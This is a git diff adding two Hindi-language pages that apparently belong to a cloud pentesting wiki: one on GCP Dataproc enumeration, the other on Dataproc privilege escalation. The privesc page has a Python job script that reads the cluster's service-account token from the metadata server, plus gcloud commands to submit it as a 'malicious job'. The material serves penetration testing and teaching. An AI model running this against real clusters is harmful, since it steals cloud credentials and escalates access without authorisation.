diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md new file mode 100644 index 000000000..9f3a89dd6 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -0,0 +1,54 @@ +# GCP Dataproc Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataproc + +{{#ref}} +../gcp-services/gcp-dataproc-enum.md +{{#endref}} + +### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` + +मैं इस विधि का उपयोग करके एक रिवर्स शेल प्राप्त करने में असमर्थ था, हालाँकि नीचे वर्णित विधि का उपयोग करके मेटाडेटा एंडपॉइंट से SA टोकन लीक करना संभव है। + +#### शोषण करने के चरण + +- GCP बकेट पर नौकरी स्क्रिप्ट रखें + +- Dataproc क्लस्टर में एक नौकरी सबमिट करें। + +- मेटाडेटा सर्वर तक पहुँचने के लिए नौकरी का उपयोग करें। + +- क्लस्टर द्वारा उपयोग किए जाने वाले सेवा खाता टोकन को लीक करें। +```python +import requests + +metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" +headers = {"Metadata-Flavor": "Google"} + +def fetch_metadata_token(): +try: +response = requests.get(metadata_url, headers=headers, timeout=5) +response.raise_for_status() +token = response.json().get("access_token", "") +print(f"Leaked Token: {token}") +return token +except Exception as e: +print(f"Error fetching metadata token: {e}") +return None + +if __name__ == "__main__": +fetch_metadata_token() +``` + +```bash +# Copy the script to the storage bucket +gsutil cp gs:/// + +# Submit the malicious job +gcloud dataproc jobs submit pyspark gs:/// \ +--cluster= \ +--region= +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md new file mode 100644 index 000000000..6368841f3 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md @@ -0,0 +1,43 @@ +# GCP - Dataproc Enum + +{{#include ../../../banners/hacktricks-training.md}} + +## Basic Infromation + +Google Cloud Dataproc एक पूरी तरह से प्रबंधित सेवा है जो Apache Spark, Apache Hadoop, Apache Flink, और अन्य बड़े डेटा ढांचों को चलाने के लिए है। इसका मुख्य उपयोग डेटा प्रोसेसिंग, क्वेरीिंग, मशीन लर्निंग, और स्ट्रीम एनालिटिक्स के लिए किया जाता है। Dataproc संगठनों को आसानी से वितरित कंप्यूटिंग के लिए क्लस्टर बनाने की अनुमति देता है, जो अन्य Google Cloud Platform (GCP) सेवाओं जैसे Cloud Storage, BigQuery, और Cloud Monitoring के साथ सहजता से एकीकृत होता है। + +Dataproc क्लस्टर वर्चुअल मशीनों (VMs) पर चलते हैं, और इन VMs से संबंधित सेवा खाता क्लस्टर के अनुमतियों और पहुंच स्तर को निर्धारित करता है। + +## Components + +एक Dataproc क्लस्टर में आमतौर पर शामिल होते हैं: + +Master Node: क्लस्टर संसाधनों का प्रबंधन करता है और वितरित कार्यों का समन्वय करता है। + +Worker Nodes: वितरित कार्यों को निष्पादित करते हैं। + +Service Accounts: API कॉल को संभालते हैं और अन्य GCP सेवाओं तक पहुंचते हैं। + +## Enumeration + +Dataproc क्लस्टर, नौकरियां, और कॉन्फ़िगरेशन संवेदनशील जानकारी एकत्र करने के लिए सूचीबद्ध किए जा सकते हैं, जैसे सेवा खाते, अनुमतियाँ, और संभावित गलत कॉन्फ़िगरेशन। + +### Cluster Enumeration + +Dataproc क्लस्टरों को सूचीबद्ध करने और उनके विवरण प्राप्त करने के लिए: +``` +gcloud dataproc clusters list --region= +gcloud dataproc clusters describe --region= +``` +### नौकरी Enumeration +``` +gcloud dataproc jobs list --region= +gcloud dataproc jobs describe --region= +``` +### Privesc + +{{#ref}} +../gcp-privilege-escalation/gcp-dataproc-privesc.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}}